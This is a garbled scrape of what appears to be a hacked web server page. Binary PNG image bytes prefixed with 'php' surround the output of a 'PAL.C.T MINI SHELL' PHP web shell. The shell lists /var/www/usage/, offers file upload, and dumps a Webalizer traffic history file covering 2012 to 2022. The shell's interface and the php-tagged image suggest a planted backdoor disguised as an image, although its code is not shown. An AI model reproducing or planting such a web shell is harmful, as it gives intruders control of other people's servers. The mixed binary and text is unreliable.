php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/usage/
upload
files >> /var/www/usage/webalizer.hist

# Webalizer V2.21-02 History Data - 01/Jun/2022 03:49:43 (120 month)
6 2022 813 507 152 11654 1 1 649 274
5 2022 357117 171654 7695 4055345 1 31 211046 58075
4 2022 261316 157989 6609 3509935 1 30 198104 55512
3 2022 355818 233061 6762 5117467 1 31 290930 52566
2 2022 330525 202095 5987 4614252 1 28 262918 50141
1 2022 364246 237777 7020 5181678 1 31 296617 60295
12 2021 368297 228443 8324 5362878 1 31 290925 62659
11 2021 236907 144027 7128 3579372 1 30 164260 53908
10 2021 335491 208520 7040 4949508 1 31 242690 54330
9 2021 245234 153241 7128 3258001 1 30 184559 56759
8 2021 292997 182380 6137 3971623 1 31 220442 57370
7 2021 257499 152834 6843 3421535 1 31 184213 61020
6 2021 255571 164399 5909 3698250 1 30 211935 49458
5 2021 288646 204213 6602 4007456 1 31 245816 49750
4 2021 249833 167744 5618 3628893 1 30 205223 47003
3 2021 224924 144012 6456 3175589 1 31 176629 58124
2 2021 254411 181042 6087 3788013 1 28 209244 44850
1 2021 243827 191287 5949 3461009 1 31 190838 40621
12 2020 183415 124495 5873 2394025 1 31 146477 48202
11 2020 248828 181307 5949 3623195 1 30 201227 50482
10 2020 291116 209571 5758 5098849 1 31 233246 33588
9 2020 298718 215244 6078 4257031 1 30 254504 35323
8 2020 274439 200004 6066 4418610 1 31 223733 39401
7 2020 245476 189302 6186 4568622 1 31 185728 35025
6 2020 352521 293650 6017 3488821 1 30 297833 36582
5 2020 299475 245522 6519 3175828 1 31 245901 51616
4 2020 384448 333827 7329 3316880 1 30 328270 54041
3 2020 535404 481064 9826 3775217 1 31 479829 56519
2 2020 482643 434943 9319 2757218 1 29 429017 50871
1 2020 702839 648854 8499 3818713 1 31 635250 58951
12 2019 573511 504253 9296 3341877 1 31 507098 53647
11 2019 558887 486100 8125 3505345 1 30 479603 48568
10 2019 557426 493304 8060 3916477 1 31 484484 51480
9 2019 458824 387863 7661 5340656 1 30 378787 49089
8 2019 446167 379516 7709 3782735 1 31 371891 51041
7 2019 439700 379162 7442 3138884 1 31 366731 49872
6 2019 295736 241244 6374 2853257 1 30 235447 49932
5 2019 443241 376381 7281 3725418 1 31 377884 58502
4 2019 431459 370523 7028 5699556 1 30 361574 66939
3 2019 458154 399573 7039 4019394 1 31 376972 75096
2 2019 358435 312832 6229 2988296 1 28 300879 44858
1 2019 409663 352664 6548 2738692 1 31 338345 26215
12 2018 400905 329825 7112 3833459 1 31 318109 38354
11 2018 458842 387839 6801 5674513 1 30 373623 41703
10 2018 520394 463489 6898 3153068 1 31 444688 44755
9 2018 488693 410220 6704 4472825 1 30 401900 39594
8 2018 471610 400047 6524 3637264 1 31 399142 42929
7 2018 482909 436753 6320 3447833 1 31 410753 39864
6 2018 274252 237263 7090 3253150 1 30 214467 35337
5 2018 443794 395397 7511 4216877 1 31 361239 41218
4 2018 509162 339349 5827 6046349 1 30 415649 37236
3 2018 785464 686355 6545 7067670 1 31 666674 37908
2 2018 524235 473766 5519 5233482 1 28 452186 28051
1 2018 931713 869153 5814 10581035 1 31 846376 31160
12 2017 693502 621519 5751 6689921 1 31 591245 30561
11 2017 1051928 977673 5825 4008848 1 30 960622 31324
10 2017 940684 888050 7000 4821726 1 31 870288 33384
9 2017 765085 703517 6881 6690293 1 30 699971 31672
8 2017 630587 559010 6927 11408982 1 31 530636 31501
7 2017 338503 287039 5584 5846262 1 31 274632 33043
6 2017 280355 220068 4725 3778638 1 30 222801 37307
5 2017 187479 143079 4887 2212940 1 31 131349 32798
4 2017 167484 127235 5688 2057089 1 30 107299 29438
3 2017 173530 124718 5228 2460050 1 31 105195 30280
2 2017 146475 104374 4353 2198448 1 28 86431 29137
1 2017 175215 123036 4250 2712539 1 31 102381 29275
12 2016 133918 90820 4238 2193802 1 31 74997 29652
11 2016 175155 129993 4548 2550053 1 30 109286 32935
10 2016 209779 150843 4929 3166291 1 31 131178 36854
9 2016 186865 133770 5130 2587246 1 30 111814 35092
8 2016 210962 153416 4504 2840789 1 31 131737 36205
7 2016 229385 172819 3841 3161779 1 31 169325 35025
6 2016 289825 220410 4203 3059517 1 30 214892 37626
5 2016 290631 208333 3749 3547117 1 31 195793 40085
4 2016 237404 169607 3592 3486128 1 30 162571 34034
3 2016 159975 111445 4593 2256157 1 31 112570 37810
2 2016 170475 115931 3558 2299855 1 29 113573 36422
1 2016 225608 156962 4063 2571877 1 31 154449 30286
12 2015 133276 83523 3066 1715822 1 31 91285 23614
11 2015 162845 104858 3931 2131526 1 30 92670 23817
10 2015 148628 99017 3335 1890300 1 31 98976 28040
9 2015 122026 74743 3144 1586939 1 30 74617 25798
8 2015 124375 78154 2532 1496264 1 31 87685 25282
7 2015 122395 77223 2499 1603458 1 31 88323 22470
6 2015 87927 52865 2760 1256693 1 30 51754 25526
5 2015 105400 62802 3235 1560071 1 31 71661 36252
4 2015 69320 42325 2082 1038253 13 30 45982 22773
3 2015 0 0 0 0 0 0 0 0
2 2015 0 0 0 0 0 0 0 0
1 2015 0 0 0 0 0 0 0 0
12 2014 0 0 0 0 0 0 0 0
11 2014 0 0 0 0 0 0 0 0
10 2014 0 0 0 0 0 0 0 0
9 2014 0 0 0 0 0 0 0 0
8 2014 0 0 0 0 0 0 0 0
7 2014 0 0 0 0 0 0 0 0
6 2014 0 0 0 0 0 0 0 0
5 2014 0 0 0 0 0 0 0 0
4 2014 0 0 0 0 0 0 0 0
3 2014 0 0 0 0 0 0 0 0
2 2014 0 0 0 0 0 0 0 0
1 2014 0 0 0 0 0 0 0 0
12 2013 0 0 0 0 0 0 0 0
11 2013 0 0 0 0 0 0 0 0
10 2013 0 0 0 0 0 0 0 0
9 2013 0 0 0 0 0 0 0 0
8 2013 0 0 0 0 0 0 0 0
7 2013 0 0 0 0 0 0 0 0
6 2013 0 0 0 0 0 0 0 0
5 2013 0 0 0 0 0 0 0 0
4 2013 0 0 0 0 0 0 0 0
3 2013 0 0 0 0 0 0 0 0
2 2013 0 0 0 0 0 0 0 0
1 2013 0 0 0 0 0 0 0 0
12 2012 0 0 0 0 0 0 0 0
11 2012 0 0 0 0 0 0 0 0
10 2012 0 0 0 0 0 0 0 0
9 2012 0 0 0 0 0 0 0 0
8 2012 0 0 0 0 0 0 0 0
7 2012 0 0 0 0 0 0 0 0
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`